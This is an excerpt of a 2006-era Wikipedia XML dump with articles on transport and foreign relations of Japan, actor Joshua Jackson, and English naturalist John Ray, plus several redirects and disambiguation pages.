[[Fukuoka, Fukuoka|Fukuoka]], [[Kobe, Hyogo|Kobe]], [[Kyoto, Kyoto|Kyoto]], [[Nagoya, Aichi|Nagoya]], [[Osaka, Osaka|Osaka]], [[Sapporo, Hokkaido|Sapporo]], [[Sendai, Miyagi|Sendai]], [[Tokyo]] and [[Yokohama]] have [[metro]] systems.

See also [[Rail transport in Japan]], [[monorails in Japan]], [[Shinkansen]].

===External links===
*[http://www.jistac.net/gif/jr.pdf Railway map]

==Road transport==
[[Image:FujiChuoExpressway.jpg|thumb|left|The [[Chuo Expressway]] has beautiful views of [[Mount Fuji]].]]
Japan has 1,152,207 km of highways with 863,003 km (including 6,114 km of [[Expressways of Japan|expressways]]) paved and 289,204 km of unpaved ways (1997 est.). A single network of high-speed, divided, limited-access [[toll road]]s connects major cities on [[Honshu]], [[Shikoku]] and [[Kyushu]]. [[Hokkaido]] has a separate network, and [[Okinawa Island]] has a highway of this type. In the year 2005, the toll collecting companies, formerly [[Japan Highway Public Corporation]], have been transformed into private companies in public ownership, and there are plans to sell parts of them. The aim of this policy is to encourage competition and decrease tolls.

Road passenger and freight transport expanded considerably during the 1980s as private ownership of motor vehicles greatly increased along with the quality and extent of the nation's roads. The [[Japan Railway]]s Group companies operates long-distance bus service on the nation's expanding expressway network. In addition to relatively low fares and deluxe seating, the buses are well utilized because they continue service during the night, when air and train service is limited. 

The cargo sector grew rapidly in the 1980s, recording 274.2 billion ton-kilometers in 1990. The freight handled by motor vehicles, mainly trucks, in 1990, was over 6 billion tons, accounting for 90 percent of domestic freight tonnage and about 50 percent of ton-kilometers. 

Recent large infrastructure projects were the construction of the [[Great Seto Bridge]] and the [[Tokyo Wan Aqua-Line]] (opened 1997).

''see also:'' [[National highways of Japan]]

==Marine transport==
[[Image:FerryMiyajima7511.jpg|thumb|right|Ferry Miyajima on the [[Inland Sea]] near [[Miyajima, Hiroshima]]]]
[[Waterway]]s are about 1,770 km; seagoing craft ply all coastal inland seas.

The twenty-two major [[seaport]]s designated as special important ports by Ministry of Land, Infrastructure and Transport include [[Chiba, Chiba|Chiba]], Fushiki/[[Toyama, Toyama|Toyama]], [[Himeji, Hyogo|Himeji]], [[Hiroshima, Hiroshima|Hiroshima]], [[Kawasaki, Kanagawa|Kawasaki]], [[Kitakyushu, Fukuoka|Kitakyushu]], [[Kobe, Hyogo|Kobe]], [[Kudamatsu, Yamaguchi|Kudamatsu]], [[Muroran, Hokkaido|Muroran]], [[Nagoya, Aichi|Nagoya]], [[Niigata, Niigata|Niigata]], [[Osaka, Osaka| Osaka]], [[Sakai, Osaka|Sakai]]/Senpoku, [[Sendai, Miyagi|Sendai]]/[[Shiogama, Miyagi|Shiogama]], [[Shizuoka, Shizuoka|Shimizu]], [[Shimonoseki, Yamaguchi|Shimonoseki]], [[Tokyo]], [[Tomakomai, Hokkaido|Tomakomai]], [[Wakayama, Wakayama|Wakayama]], [[Yokkaichi, Mie|Yokkaichi]], and [[Yokohama, Kanagawa|Yokohama]].

Japan has 662 ships of 1,000 GRT or over, totaling 13,039,488 [[GRT]] or 18,024,969 [[DWT]]. There are 146 bulk ships, 49 [[cargo]], 13 [[chemical]] [[Tanker (ship)|tanker]]s, 16 combination bulk, 4 with combination of ore and oil, 25 [[containerization|container]], 45 [[liquefied gas]], 9 [[passenger]], 2 passenger and cargo combination ships, 214 [[petroleum]] tankers, 22 refrigerated cargo, 48 roll-on/roll-off, 9 short-sea passenger, and 60 vehicle carriers (1999 est.).

[[Ferry|Ferries]] connect Hokkaido to Honshu, and Okinawa Honto to Kyushu and Honshu.

==Pipelines==
Japan has 84 km of [[pipeline]]s for [[crude oil]], 322 km for [[petroleum]] products, and 1,800 km for [[natural gas]].

==Air transport==

[[Image:KansaiAirport_Departures.JPG|thumb|Kansai Airport, [[Osaka]]]]

Japan has many [[airport]]s. The main international gateways are [[Narita International Airport]] (Tokyo area), [[Kansai International Airport]] (Osaka/Kobe/Kyoto area), and [[Chubu Centrair International Airport]] (Nagoya area). The main domestic hub is [[Tokyo International Airport]] (Haneda Airport), Asia's busiest airport; other major traffic hubs include [[Osaka International Airport]] (Itami Airport), [[New Chitose Airport]] outside [[Sapporo]], and [[Fukuoka Airport]]. 14 [[heliport]]s are estimated to exist (1999).

The two main [[airline]]s are [[All Nippon Airways]] and [[Japan Airlines]]. Other passenger carriers include [[Skymark Airlines]], [[Skynet Asia Airways]], and [[Air Do]]. [[United Airlines]] and [[Northwest Airlines]] are major international operators from Narita Airport.

Domestic air travel in Japan has historically been highly regulated. From [[1972]], the three major domestic airlines (JAL, ANA, and JAS) were allocated certain routes, with JAL and ANA sharing trunk routes, and ANA and JAS sharing local feeder routes. JAL also had a flag-carrier monopoly on international routes until [[1986]]. Airfares were set by the government until 2000, although carriers had freedom to adjust the standard fares starting in [[1995]] (when discounts of up to 50% were permitted). Today, fares can be set by carriers, but the government retains the ability to veto fares that are impermissibly high.

==See also==
*[[List of airports in Japan]]
*[[List of railway companies in Japan]]
*[[List of railway electification systems in Japan]]
*[[List of Railway Stations in Japan]]
*[[Japan Highway Public Corporation]]

==External links==

*[http://www.hyperdia.com/ Hyperdia] - Travel planning tool supporting English and Japanese
*[http://www.jorudan.co.jp/english/norikae/e-norikeyin.html Jorudan] - Travel planning tool supporting English and Japanese
*[http://www.kotsu.metro.tokyo.jp/util/english/ Toei Transportation Information] - English Tokyo subway information and multilingual maps

[[Category:Transportation in Japan|*]]
[[fr:Transport au Japon]]
[[id:Transportasi di Jepang]]
[[ja:&amp;#26085;&amp;#26412;&amp;#12398;&amp;#20132;&amp;#36890;]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Japan</title>
    <id>15582</id>
    <revision>
      <id>42019763</id>
      <timestamp>2006-03-03T06:48:43Z</timestamp>
      <contributor>
        <ip>67.80.195.125</ip>
      </contributor>
      <comment>/* Debates and frictions */</comment>
      <text xml:space="preserve">{{Foreign relations of Japan}}

Despite the burst of the [[Japanese asset price bubble]] in the early 1990s and the subsequent slow economic growth, [[Japan]] remains a major economic and cultural power. Japan has diplomatic relations with nearly all independent nations and has been an active member of the [[United Nations]] since 1956. Japanese foreign policy has aimed to promote peace and prosperity for the Japanese people, and arguably for humanity in general, by working closely with the West and supporting the United Nations.

During the Cold War, Japanese foreign policy was unidimensional, focusing mainly on the economic realm. In recent years, however, Japan's political elites (and, more broadly, the Japanese public) has shown a greater willingness to deal with security issues and support the Self Defense Forces. This is in part due to its success in disaster relief efforts at home and its participation in peacekeeping operations in [[Cambodia]] in the early 1990s as well as the greater assertiveness in the first Iraq War requested by the first Bush Administration out of Japan in line with its economic power. More importantly, however, Japan's renewed focus on national security rests on an increasing sense of insecurity in the international environment (owing to the rise of China and a belligerent North Korea). Nonetheless, there are still significant internal political and psychological constraints on, as well as intense [[People's Republic of China|Chinese]] and [[Korea|Korean]] opposition to, strengthening Japan's defense/military capabilities.

While maintaining its primary relationship with the United States, Japan has diversified and expanded its ties with other nations. Good relations with its neighbors continue to be of vital interest. After Japan signed a peace and friendship treaty with the [[People's Republic of China]] in [[1978]], ties between the two countries developed rapidly. The Japanese extend significant economic assistance to the Chinese in various modernization projects. At the same time, Japan has maintained economic but not diplomatic relations with the [[Republic of China]] ([[Taiwan]]), where a strong bilateral trade relationship thrives.

One major diplomatic and cultural initiative is the [[JET Program]], originally presented by former Prime Minister [[Yasuhiro Nakasone]] to [[Ronald Reagan]] as a &quot;gift.&quot;  Some analysts suggest the relatively quick adoption of this program was a response to foreign claims that Japan was too insular and that it needed to bring up a new [[generation]] of youth comfortable with the [[English language]] and with foreigners.

==Relations by country and region==
===United States===
''Main article:'' [[Japan-United States relations]]

The United States is Japan's closest ally, and Japan relies on the U.S. for its [[National security of Japan|national security]] to a high degree. As the world's two top economic powers (in 2005), both countries also rely on close economic ties for their wealth, despite ongoing and occasionally acriminious trade frictions.

Although [[Constitution of Japan|its constitution]] and [[Government of Japan|government]] policy preclude an offensive military role for Japan in international affairs, Japanese cooperation with the United States through the [[1960]] [[Treaty of Mutual Cooperation and Security between the United States and Japan|U.S.-Japan Security Treaty]] has been important to the peace and stability of East Asia. Currently, there are domestic discussions about possible reinterpretation of [[Article 9 of the Constitution of Japan|Article 9]] of the Japanese constitution. All postwar Japanese governments have relied on a close relationship with the United States as the foundation of their foreign policy and have depended on the mutual security treaty for strategic protection.

The relationship probably hit a post-war nadir around the early 1990s, when Japanese [[economic dominance]] was seen as a threat to American power.  Japan was the primary financer of the [[First Iraq War]], yet received major criticism in some US circles for its refusal to commit actual military support.  Following the collapse of the so-called [[Bubble economy]] and the 90s boom in the US, the Japanese economy was perceived as less of a threat to US interests.  Some observers still feel that Japan's willingness to deploy troops in support of current US operations in Iraq, as spear-headed by [[Koizumi]] and the conservative [[LDP]] party, reflects a vow not to be excluded from the group of countries the US considers friends.  This decision may reflect an [[realpolitik]] understanding of the threat Japan faces from a rapidly modernizing [[China]], which from its continued and indeed growing pattern of anti-Japanese [[demonstrations]] reveals the belief that old historical scores remain unsettled.

Japan's relationship with the United States is likely to remain strong throughout the forseeable future.

===North and South Korea===
''Main article:'' [[Japanese-Korean relations]]

Japanese ties with (Republic of Korea) [[South Korea]] have improved since an exchange of visits in the mid-1980s by their political leaders. [[South Korea]]n President [[Kim Dae-jung]] had a very successful visit to Japan in October [[1998]]. Japan has limited economic and commercial ties with the Democratic People's Republic of Korea ([[North Korea]]). Japanese normalization talks halted when North Korea refused to discuss a number of issues with Japan.

Japan strongly supports the U.S. in its efforts to encourage [[Pyongyang]] to abide by the [[nuclear Non-Proliferation Treaty]] and its agreements with the [[International Atomic Energy Agency]] (IAEA). Despite the August 31, 1998 [[North Korea]]n missile test which overflew the Home Islands, Japan has maintained its support for the Korean Energy Development Organization (KEDO) and the Agreed Framework, which seek to freeze the North Korean nuclear program. The U.S., Japan, and South Korean closely coordinate and consult trilaterally on policy toward North Korea, at least on a government level.

===China===
''Main article:'' [[Sino-Japanese relations]]

===South-East Asia===
''Main articles:'' [[Philippine-Japanese relations]], [[Japanese-Vietnamese relations]]

By 1990 Japan's interaction with the vast majority of Asia-Pacific countries, especially its burgeoning economic exchanges, was multifaceted and increasingly important to the recipient countries. The developing countries of [[ASEAN]] regarded Japan as critical to their development. Japan's aid to the ASEAN countries totaled US$1.9 billion in Japanese fiscal year (FY) 1988 versus about US$333 million for the [[United States]] during U.S. FY 1988. Japan was the number one foreign investor in the ASEAN countries, with cumulative investment as of March 1989 of about US$14.5 billion, more than twice that of the United States. Japan's share of total foreign investment in ASEAN countries in the same period ranged from 70 to 80 percent in [[Thailand]] to 20 percent in [[Indonesia]].

In the early 1990s, the Japanese government was making a concerted effort to enhance its diplomatic stature, especially in Asia. [[Toshiki Kaifu]]'s much publicized spring 1991 tour of five Southeast Asian nations—[[Malaysia]], [[Brunei]], [[Thailand]], [[Singapore]], and the [[Philippines]]—culminated in a May 3 major foreign policy address in Singapore, in which he called for a new partnership with the Association of Southeast Asian Nations (ASEAN) and pledged that Japan would go beyond the purely economic sphere to seek an &quot;appropriate role in the political sphere as a nation of peace.&quot; As evidence of this new role, Japan took an active part in promoting negotiations to resolve the [[Cambodia]]n conflict.

In 1997, the ASEAN member nations and the People's Republic of China, South Korea and Japan agreed to hold yearly talks to further strengthen regional cooperation, the [[ASEAN Plus Three]] meetings. In 2005 the ASEAN plus Three countries together with [[India]], [[Australia]] and [[New Zealand]] held the inaugural [[East Asia Summit]] (EAS).

===South Asia===
In [[South Asia]], Japan's role is mainly that of an aid donor. Japan's aid to seven South Asian countries totaled US$1.1 billion in 1988 and 1989, dropping to just under US$900 million in 1990. Except for [[Pakistan]], which received heavy inputs of aid from the United States, all other South Asian countries receive most of their aid from Japan. Four South Asian nations—[[India]], [[Pakistan]], [[Bangladesh]], and [[Sri Lanka]]—are in the top ten list of Tokyo's aid recipients worldwide.

Prime Minister Toshiki Kaifu signaled a broadening of Japan's interest in South Asia with his swing through the region in April 1990. In an address to the [[Indian parliament]], Kaifu stressed the role of free markets and democracy in bringing about &quot;a new international order,&quot; and he emphasized the need for a settlement of the [[Kashmir territorial dispute]] between India and Pakistan and for economic liberalization to attract foreign investment and promote dynamic growth. To India, which was very short of hard currency, Kaifu pledged a new concessional loan of ¥100 billion (about US$650 million) for the coming year.

===Russia===
''Main article:'' [[Japanese-Russian relations]]

Japan's relations with [[Russia]] are hampered by the two sides' inability to resolve their territorial dispute over the four islands that make up the [[Kuril Island conflict|Northern Territories]] ([[Kuril Islands|Kuriles]]), which the U.S.S.R. seized towards the end of [[World War II]]. The stalemate has prevented conclusion of a peace treaty formally ending the war. The United States supports Japan on the Northern Territories issue and recognizes Japanese sovereignty over the islands. Despite the lack of progress in resolving the Northern Territories dispute, Japan and Russia have made some progress in developing other aspects of the relationship.  Even without a peace treaty, most Japanese do not feel that relationship with Russia is troubled.  That said, remembrance of the almost last-minute Soviet declaration of war on the defeated Japan in World War II and subsequent exploitation of former Japanese soldiers in harsh Siberian prison [[labor camps]] remains.

===Western Europe===
''Main articles:'' [[Anglo-Japanese relations]]; [[Franco-Japanese relations]]; [[German-Japanese relations]]

Although cultural and noneconomic ties with [[Western Europe]] grew significantly during the 1980s, the economic nexus remained by far the most important element of Japanese-West European relations throughout the decade. Events in West European relations, as well as political, economic, or even military matters, were topics of concern to most Japanese commentators because of the immediate implications for Japan. The major issues centered on the effect of the coming West European economic unification on Japan's trade, investment, and other opportunities in Western Europe. Some West European leaders were anxious to restrict Japanese access to the newly integrated [[European Union]] (until November 1993, the [[European Community]]), but others appeared open to Japanese trade and investment. In partial response to the strengthening economic ties among nations in Western Europe and to the United States-[[Canada]]-[[Mexico]] [[North American Free Trade Agreement|North American Free Trade Agreement]], Japan and other countries along the Asia-Pacific rim began moving in the late 1980s toward greater economic cooperation.

On July 18, 1991, after several months of difficult negotiations, Prime Minister [[Toshiki Kaifu]] signed a joint statement with the [[Prime Minister of the Netherlands|Dutch prime minister]] and head of the [[European Community Council]], [[Ruud Lubbers]], and with the [[European Commission]] president, [[Jacques Delors]], pledging closer Japanese-European Community consultations on foreign relations, scientific and technological cooperation, assistance to developing countries, and efforts to reduce trade conflicts. Japanese Ministry of Foreign Affairs officials hoped that this agreement would help to broaden Japanese-European Community political links and raise them above the narrow confines of trade disputes. 

===Other countries===
Beyond its immediate neighbors, Japan has pursued a more active foreign policy in recent years, recognizing the responsibility that accompanies its economic strength. It has expanded ties with the [[Middle East]], which provides most of its oil. Japan increasingly is active in [[Africa]] and [[Latin America]] and has extended significant support to development projects in both regions. And a Japanese-conceived peace plan became the foundation for nationwide elections in [[Cambodia]] in 1998.

==Debates and frictions==
Japan's has formally [[List of war apology statements issued by Japan|issued statements]] for its military occupations during and before [[World War II]] but it has done little in helping to improve her relationships with neighboring countries, especially the [[People's Republic of China]], the [[People's Democratic Republic of Korea]] and [[South Korea]].  Despite the formal statements of regret from Prime Ministers [[Hosokawa Morihiro]] and [[Murayama Tomiichi]], these countries still insist that Japan has yet to formally express remorse for its wrongdoings in the 20th century. In regards to the statements however, it is more of a debate about compensation and war reparations than over the symbolic nature of words and acknowledgments of wrongdoing and regret.  Japan&amp;rsquo;s official stance is that all war related reparation claims have been resolved (except for North Korea).  Unofficial visits to the controversial [[Yasukuni Jinja]] by past and present Prime Ministers belonging to the [[Liberal Democratic Party (Japan)|Liberal Democratic Party]] and the exclusion or generalisation some elements of Japan&amp;rsquo;s military history in a number school textbooks have also clouded the issue.  

In [[2004]] the People&amp;rsquo;s Republic of China, North Korea, and South Korea also criticized Japan for sending its Ground Self Defence Forces to [[Iraq]], which was seen as a return to [[militarism]].  The government of Japan insisted that its forces would only participate in reconstruction and humanitarian aid missions. 

There is a widespread [[anti-Japanese sentiment]] in many Asian countries, particularly the People&amp;rsquo;s Republic of China, the People's Democratic Republic of Korea, and South Korea.  However, division is not always the case.  South Korea and Japan successfully dual-hosted the [[2002]] [[Football World Cup 2002|Football World Cup]] together bridging a physical and political gap between the two countries.  The popularity of [[Bae Yong Joon]], a South Korean actor, in Japan was also seen as a sign that the two cultures had moved closer together.

==Disputed territories==
Islands of Etorofu, Kunashiri, Shikotan, and the Habomai group occupied by the [[Soviet Union]] in 1945, now administered by Russia, claimed by Japan; [[Tokdo]] administered by [[South Korea]], claimed by Japan as [[Liancourt Rocks/Takeshima]]; Senkaku-shoto ([[Senkaku Islands]]) claimed by the [[People's Republic of China]] and the [[Republic of China]] on [[Taiwan]].

==See also==
*[[Anglo-Japanese relations]]
*[[Franco-Japanese relations]]
*[[Japanese-German relations]]
*[[Japanese-Russian relations]]
*[[Japanese-Vietnamese relations]]
*[[List of war apology statements issued by Japan]]
*[[Philippine-Japanese relations]]
*[[Sino-Japanese relations]]

==Reference==
{{loc}}

==External links==
*Various articles and discussion papers on Japan's foreign relations in the [http://www.japanesestudies.org.uk ''electronic journal of contemporary japanese studies'']

[[Category:Foreign relations by country|Japan, Foreign affairs of]]
[[Category:Foreign relations of Japan| ]]

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  <page>
    <title>Japan/History</title>
    <id>15583</id>
    <revision>
      <id>15913046</id>
      <timestamp>2002-08-22T13:51:19Z</timestamp>
      <contributor>
        <username>-- April</username>
        <id>166</id>
      </contributor>
      <minor />
      <comment>move text to History of Japan</comment>
      <text xml:space="preserve">#redirect [[History of Japan]]</text>
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  </page>
  <page>
    <title>Japanese expansionism</title>
    <id>15585</id>
    <revision>
      <id>15913047</id>
      <timestamp>2005-04-24T04:10:09Z</timestamp>
      <contributor>
        <username>TakuyaMurata</username>
        <id>6707</id>
      </contributor>
      <comment>#REDIRECT [[Japanese nationalism]]</comment>
      <text xml:space="preserve">#REDIRECT [[Japanese nationalism]]</text>
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  </page>
  <page>
    <title>Joshua Jackson</title>
    <id>15587</id>
    <revision>
      <id>39037483</id>
      <timestamp>2006-02-10T07:20:01Z</timestamp>
      <contributor>
        <username>Lightdarkness</username>
        <id>130135</id>
      </contributor>
      <minor />
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">[[Image:Oceanpre2.jpg|right|thumb]]
'''Joshua Carter Jackson''' (born [[June 11]], [[1978]]) is an actor in American television and movies.  He was born in [[Vancouver]], [[British Columbia]], [[Canada]] to an [[United States|American]] father and an [[Ireland|Irish]]-born mother.  He currently divides his time between [[Los Angeles]] and [[Vancouver]]. Previously he lived in [[Wilmington, North Carolina|Wilmington]], [[North Carolina]], where the television program ''[[Dawson's Creek]]'' was filmed. 

Jackson grew up in [[California]] until age 8, when his family moved back to [[Vancouver]].  Soon after he took up acting, landing a role in a commercial for [[Keebler]]'s Potato Chips.  He is best known for the role of Pacey Witter on ''[[Dawson's Creek]]'', but he has also appeared in several movies
including ''[[Cruel Intentions]]'', ''[[The Mighty Ducks (movies)|The Mighty Ducks]]'' series, ''[[Apt Pupil]]'', ''[[Scream 2]]'', ''[[The Laramie Project]]'' and ''[[The Skulls]]''. He will next appear in the all-star ensemble drama ''[[Bobby]]'', directed by [[Emilio Estevez]], Jackson's co-star from ''[[The Mighty Ducks (movies)|The Mighty Ducks]]''.

Joshua is left-handed and is 6 foot 2. He is rumored to hold dual U.S./Canadian citizenship.
Joshua dated two of his Dawson's Creek co-stars: actress [[Katie Holmes]] in 1998, and actress [[Brittany Daniel]] in 1999-2000. Jackson also dated &amp; was rumored to be engaged to [[Rosario Dawson]].

==Selected filmography== 

*''[[CBS TV pilot]]'' ([[2006 in film|2006]])([[TV series]])
*''[[Meet the Devil (movie)|Meet the Devil]]'' ([[2006 in film|2006]])
*''[[Bobby (movie)|Bobby]]'' ([[2006 in film|2006]])
*''[[Shadows in the Sun (movie)|Shadows in the Sun]]'' ([[2005 in film|2005]])
*''[[Aurora Borealis (movie)|Aurora Borealis]]'' ([[2005 in film|2005]])
*''[[Americano (movie)|Americano]]'' ([[2005 in film|2005]])
*''[[Racing Stripes]]'' ([[2005 in film|2005]]) ([[voice actor|voice]])
*''[[Cursed (film)|Cursed]]'' ([[2005 in film|2005]])
*''[[I Love your Work]]'' ([[2003 in film|2003]]) 
*''[[The Laramie Project]]'' ([[2002 in film|2002]]) 
*''[[Lone Star State of Mind]]'' ([[2002 in film|2002]]) 
*''[[The Safety of Objects]]'' ([[2001 in film|2001]])
*''[[Ocean's Eleven (2001 film)|Ocean's Eleven]]'' ([[2001 in film|2001]]) 
*''[[The Skulls]]'' ([[2000 in film|2000]]) 
*''[[Gossip]]'' ([[2000 in film|2000]]) 
*''[[Muppets From Space]]'' ([[1999 in film|1999]]) (uncredited) 
*''[[Cruel Intentions]]'' ([[1999 in film|1999]]) 
*''[[Urban Legend (film)|Urband Legend]]'' ([[1998 in film|1998]]) 
*''[[Apt Pupil]]'' ([[1998 in film|1998]]) 
*''[[Dawson's Creek]]'' ([[1998 in film|1998]]) ([[TV series]]) 
*''[[Scream 2]]'' ([[1997 in film|1997]]) 
*''[[The Mighty Ducks (movies)|The Mighty Ducks]]'' 


{{Canada-actor-stub}}

[[Category:1978 births|Jackson, Joshua]]
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[[Category:Canadian voice actors|Jackson, Joshua]]

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  </page>
  <page>
    <title>Jung</title>
    <id>15588</id>
    <revision>
      <id>29330971</id>
      <timestamp>2005-11-27T00:25:21Z</timestamp>
      <contributor>
        <username>Eduard Gherkin</username>
        <id>374239</id>
      </contributor>
      <comment>/* See also */ Deleted [[Yung]] link.</comment>
      <text xml:space="preserve">Various people have the name '''Jung''':

* [[Andrea Jung]], Chairman of the Board and Chief Executive Officer of Avon Products, Inc.
* [[Carl Jung]] (1875–1961), a Swiss psychiatrist and founder of analytical psychology
* [[Douglas Jung]] (1924&amp;ndash;2002), the first ethnic Chinese Member of Parliament (MP) in the Canadian House of Commons
* [[Edgar Julius Jung]] (1894&amp;ndash;1934), a Calvinist lawyer and leader of the right-wing Conservative Revolutionary movement
* [[George Jung]], a major player in cocaine importation in the United States in the 1970s and early 80s as a part of the Medellín Cartel; his life story was portrayed in the movie ''Blow''
* [[Johann Heinrich Jung]] (1740&amp;ndash;1817), a German author best known by his assumed name of Heinrich Stilling
* [[Rudolf Jung]] (1882&amp;ndash;1945), an instrumental force and agitator of Austrian National Socialism and later a member of the daughter party German Nazi Party
* [[Jung Myung Seok]] (1945&amp;ndash;), a controversial Korean religious leader

'''Jung''' may also refer to:
* [[Jung-Kellogg Library]], located at Missouri Baptist University in St. Louis, Missouri
* [[Salar Jung Museum]], in Hyderabad, Andhra Pradesh, India, and houses the collection of the Salar Jung family

== See also ==
* [[Young]]
* [[Junge]]

[[Category:Surnames]]
{{disambig}}
[[de:Jung]]
[[ja:ユング]]</text>
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  </page>
  <page>
    <title>JRR Tolkien</title>
    <id>15589</id>
    <revision>
      <id>15913051</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[J. R. R. Tolkien]]
</text>
    </revision>
  </page>
  <page>
    <title>JFK (disambiguation)</title>
    <id>15593</id>
    <revision>
      <id>42000016</id>
      <timestamp>2006-03-03T03:26:11Z</timestamp>
      <contributor>
        <ip>69.244.112.139</ip>
      </contributor>
      <comment>Nobody calls John Kerry 'JFK'</comment>
      <text xml:space="preserve">'''JFK''' is a [[three-letter abbreviation]] with multiple meanings, as described below:

* [[John F. Kennedy]], 35th President of the United States
* [[John F. Kennedy International Airport]] in New York City (IATA airport code)
* [[John F. Kennedy Stadium]] in Philadelphia, Pennslvania
* [[JFK (film)|''JFK'' (film)]], a 1991 film directed by Oliver Stone
* [[USS John F. Kennedy (CV-67)|USS ''John F. Kennedy'']], a supercarrier and a modification of the Kitty Hawk class


{{TLAdisambig}}

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  <page>
    <title>JesusChrist</title>
    <id>15594</id>
    <revision>
      <id>15913053</id>
      <timestamp>2004-05-15T20:06:49Z</timestamp>
      <contributor>
        <username>Monedula</username>
        <id>43000</id>
      </contributor>
      <comment>#REDIRECT [[Jesus]]</comment>
      <text xml:space="preserve">#REDIRECT [[Jesus]]</text>
    </revision>
  </page>
  <page>
    <title>Jupiter (disambiguation)</title>
    <id>15595</id>
    <revision>
      <id>41346473</id>
      <timestamp>2006-02-26T19:20:33Z</timestamp>
      <contributor>
        <username>Muchness</username>
        <id>282514</id>
      </contributor>
      <comment>fmt, add Jupiters, Jupiter Limited</comment>
      <text xml:space="preserve">'''[[Jupiter]]''' is the fifth planet from the Sun.

'''Jupiter''' may also mean:

* [[Jupiter (god)]], a Roman god
* [[Jupiter, Florida]], a town in Palm Beach County, Florida
* [[Jupiter JVM]], a Java virtual machine
* [[Jupiter Novels]], a series of science fiction novels published by Tor Books

In '''business''':
* [[Jupitermedia Corporation]], a U.S. company that manages Internet properties
* [[Jupiter (company)]], a Japanese game and hardware development studio
* Jupiter Limited, an Australian gambling company that merged with [[Tabcorp Holdings|Tabcorp]] in 2003

In '''rocketry''':
*[[PGM-19 Jupiter]]
*[[Jupiter-C (rocket)]]

In '''music''':
*A line of music synthesizers made by [[Roland Corporation|Roland]]
**[[Roland Jupiter-4]]
**[[Roland Jupiter-6]]
**[[Roland Jupiter-8]]
* [[Jupiters]], a pop rock band from Pakistan

'''Jupiter''' may also be:
* A name given to Mozart's [[Symphony No. 41 (Mozart)|Symphony No. 41]]
* A variety of [[List of Apple cultivars|apple]] developed in Kent, England
* The main villain in [[Robin Jarvis]]'s ''The Deptford Mice'' trilogy
* &quot;Jupiter, the Bringer of Jollity&quot;, a movement in Gustav Holst's suite ''[[The Planets]]''
* &quot;Song of Jupiter&quot;, an arrangement by [[Leroy Anderson]] of the aria &quot;Where'er you walk&quot; from Handel's oratorio ''[[Semele (oratorio)|Semele]]''
* Sailor Jupiter, the codename of [[Makoto Kino]], a character in the ''Sailor Moon'' franchise

{{disambig}}

[[als:Jupiter]]
[[bg:Юпитер]]
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  <page>
    <title>John Ray</title>
    <id>15596</id>
    <revision>
      <id>40364495</id>
      <timestamp>2006-02-20T01:58:58Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">[[image:John_Ray.jpg|thumb|200px|John Ray.]]
'''John Ray''' ([[November 29]], [[1627]] &amp;ndash; [[January 17]], [[1705]]) was an [[England|English]] [[Natural history|naturalist]], sometimes referred to as the father of English natural history. Until [[1670]] he wrote his name as John Wray. 

He published important works on [[plant]]s, [[animal]]s, and [[natural theology]]. His classification of plants in his ''[[Historia Plantarum]]'' was an important step towards modern taxonomy. Ray rejected the system of dichotomous division by which species were classified according to a pre-conceived, either/or type system, and instead classified plants according to similarities and differences that emerged from observation. Thus he advanced [[empiricism|scientific empiricism]] against the [[deductive rationalism]] of the scholastics.

== Early life ==
Ray was born in the [[village]] of [[Black Notley]], near [[Braintree, Essex|Braintree]], in the [[Counties of England|county]] of [[Essex]], in the south east of [[England]]. He is said to have been born in the [[forge|smithy]], his father having been the [[blacksmith]] of [[Black Notley]] near [[Braintree]]. From Braintree school he was sent at the age of sixteen to [[Catharine Hall, Cambridge]], whence he removed to [[Trinity College, Cambridge|Trinity College]] after about one year and three-quarters. His tutor at Trinity was [[James Duport]], [[Regius Professor of Greek (Cambridge)|Regius Professor of Greek]], and his intimate friend and fellow-pupil the celebrated [[Isaac Barrow]]. Ray was chosen minor fellow of Trinity in [[1649]], and in due course became a major fellow on proceeding to the [[master's degree]]. He held many college offices, becoming successively lecturer in Greek (1651), mathematics (1653),and humanity (1655), ''praelector'' (1657), junior dean (1657), and college steward (1659 and 1660); and according to the habit of the time, he was accustomed to preach in his college chapel and also at [[St Mary the Great with St Michael, Cambridge|Great St Mary's]] before the university, long before he took holy orders. Among his sermons preached before his ordination, which was not till the [[23 December]], [[1660]], were the famous discourses on ''The Wisdom of God in the Creation'', and on ''The Chaos, Deluge and Dissolution of the World''. Ray's reputation was high also as a tutor; and he communicated his own passion for natural history to several pupils, of whom [[Francis Willughby]] is by far the most famous.

== Career ==
Ray's quiet college life closed when he found himself unable to subscribe to the [[Act of Uniformity 1661]], and was obliged to give up his fellowship in 1662, the year after [[Isaac Newton]] had entered the college. We are told by Dr Derham in his ''Life of Ray'' that the reason of his refusal:

&lt;blockquote&gt;was not (as some have imagined) his having taken the 'Solemn League and Covenant,' for that he never did, and often declared that he ever thought it an unlawful oath; but he said he could not declare for those that had taken the oath that no obligation lay upon them, but feared there might&lt;/blockquote&gt;

From this time onwards he seems to have depended chiefly on the bounty of his pupil Willughby, who made Ray his constant companion while he lived, and at his death left him 6 shillings a year, with the charge of educating his two sons.

In the spring of [[1663]] Ray started together with Willughby and two other pupils on a tour through [[Europe]], from which he returned in March 1666, parting from Willughby at [[Montpellier]], whence the latter continued his journey into [[Spain]]. He had previously in three different journeys (1658, 1661, 1662) travelled through the greater part of Great Britain, and selections from his private notes of these journeys were edited by [[George Scott]] in 1760, under the title of ''Mr Ray's Itineraries''. Ray himself published an account of his foreign travel in 1673, entitled ''Observations topographical, moral, and physiological, made on a Journey through part of the Low Countries, Germany, Italy, and France''. From this tour Ray and Willughby returned laden with collections, on which they meant to base complete systematic descriptions of the animal and vegetable kingdoms. Willughby undertook the former part, but, dying in 1672, left only an ornithology and ichthyology, in themselves vast, for Ray to edit; while the latter used the botanical collections for the groundwork of his ''Methodus planiarurn nova'' (1682), and his great ''Historia generalis plantarum'' (3 vols., 1686, 1688, 1704). The plants gathered on his British tours had already been described in his ''Catalogus plantarum Angliae'' (1670), which work is the basis of all later English floras.

